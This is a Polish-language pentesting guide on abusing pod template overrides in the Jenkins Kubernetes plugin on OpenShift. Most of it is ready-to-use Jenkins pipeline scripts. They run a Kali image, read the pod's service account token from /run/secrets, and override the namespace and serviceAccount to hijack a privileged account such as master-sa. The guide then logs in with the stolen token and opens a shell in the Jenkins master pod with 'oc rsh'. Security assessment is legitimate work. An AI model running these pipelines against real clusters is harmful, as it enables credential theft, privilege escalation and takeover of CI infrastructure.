OpenShift - Jenkins Build Pod Override

Oryginalnym autorem tej strony jest Fares

Wtyczka Kubernetes dla Jenkins

Ta wtyczka jest głównie odpowiedzialna za podstawowe funkcje Jenkins w klastrze openshift/kubernetes. Oficjalna dokumentacja tutaj Oferuje kilka funkcji, takich jak możliwość przez deweloperów zastępowania domyślnych konfiguracji modułu budującego jenkinsa.

Podstawowa funkcjonalność

Ta wtyczka zapewnia elastyczność deweloperom podczas budowania ich kodu w odpowiednim środowisku.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Kilka nadużyć wykorzystujących zastępowanie pliku yaml pod

Może jednak zostać wykorzystane do użycia dowolnego dostępnego obrazu, takiego jak Kali Linux, i wykonania dowolnych poleceń za pomocą narzędzi zainstalowanych w tym obrazie. W poniższym przykładzie możemy wydobyć token konta usługi działającego poda.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Inny składniowy sposób osiągnięcia tego samego celu.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Przykład zastąpienia przestrzeni nazw podczas budowy:

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Kolejny przykład, który próbuje zamontować konto usługi (które może mieć więcej uprawnień niż domyślne, uruchamiające twój build) na podstawie jego nazwy. Możesz potrzebować zgadywać lub wyliczać istniejące konta usług najpierw.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ta sama technika dotyczy próby zamontowania Sekretu. Ostatecznym celem tutaj byłoby ustalenie, jak skonfigurować budowę swojego poda, aby efektywnie przełączyć się lub uzyskać uprawnienia.

Idąc dalej

Gdy już się przyzwyczaisz do zabawy z tym, wykorzystaj swoją wiedzę na temat Jenkinsa oraz Kubernetes/Openshift, aby znaleźć błędy konfiguracyjne / nadużycia.

Zadaj sobie następujące pytania:

  • Które konto usługi jest używane do wdrażania podów budowy?

  • Jakie role i uprawnienia posiada? Czy może odczytywać sekrety przestrzeni nazw, w której obecnie się znajduję?

  • Czy mogę dalej wyliczyć inne pody budowy?

  • Z zainfekowanego sa, czy mogę wykonywać polecenia na węźle/podzie głównym?

  • Czy mogę dalej wyliczyć klastra, aby przełączyć się gdzie indziej?

  • Które SCC jest zastosowane?

Możesz dowiedzieć się, jakie polecenia oc/kubectl wydać tutaj i tutaj.

Możliwe scenariusze eskalacji uprawnień/przełączania

Załóżmy, że podczas swojej oceny dowiedziałeś się, że wszystkie budowy jenkinsa są uruchamiane w przestrzeni nazw o nazwie worker-ns. Odkryłeś, że domyślne konto usługi o nazwie default-sa jest zamontowane na podach budowy, jednak nie ma zbyt wielu uprawnień oprócz dostępu do odczytu niektórych zasobów, ale udało ci się zidentyfikować istniejące konto usługi o nazwie master-sa. Załóżmy również, że masz zainstalowane polecenie oc w działającym kontenerze budowy.

Dzięki poniższemu skryptowi budowy możesz przejąć kontrolę nad kontem usługi master-sa i dalej wyliczyć.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

W zależności od posiadanego dostępu, możesz kontynuować atak z poziomu skryptu kompilacji lub zalogować się bezpośrednio jako ten sa na działającym klastrze:

oc login --token=$token --server=https://apiserver.com:port

Jeśli ten SA ma wystarczające uprawnienia (takie jak pod/exec), możesz także przejąć kontrolę nad całym wystąpieniem Jenkins, wykonując polecenia wewnątrz poda węzła głównego, jeśli działa w tej samej przestrzeni nazw. Możesz łatwo zidentyfikować ten pod po nazwie i fakcie, że musi on zamontować PVC (żądanie trwałego wolumenu) używane do przechowywania danych Jenkins.

oc rsh pod_name -c container_name

W przypadku, gdy moduł węzła głównego nie działa w tej samej przestrzeni nazw co węzły robocze, możesz spróbować podobnych ataków, kierując się przestrzenią nazw głównego węzła. Załóżmy, że nazywa się ona jenkins-master. Pamiętaj, że konto usługi master-sa musi istnieć w przestrzeni nazw jenkins-master (i może nie istnieć w przestrzeni nazw worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated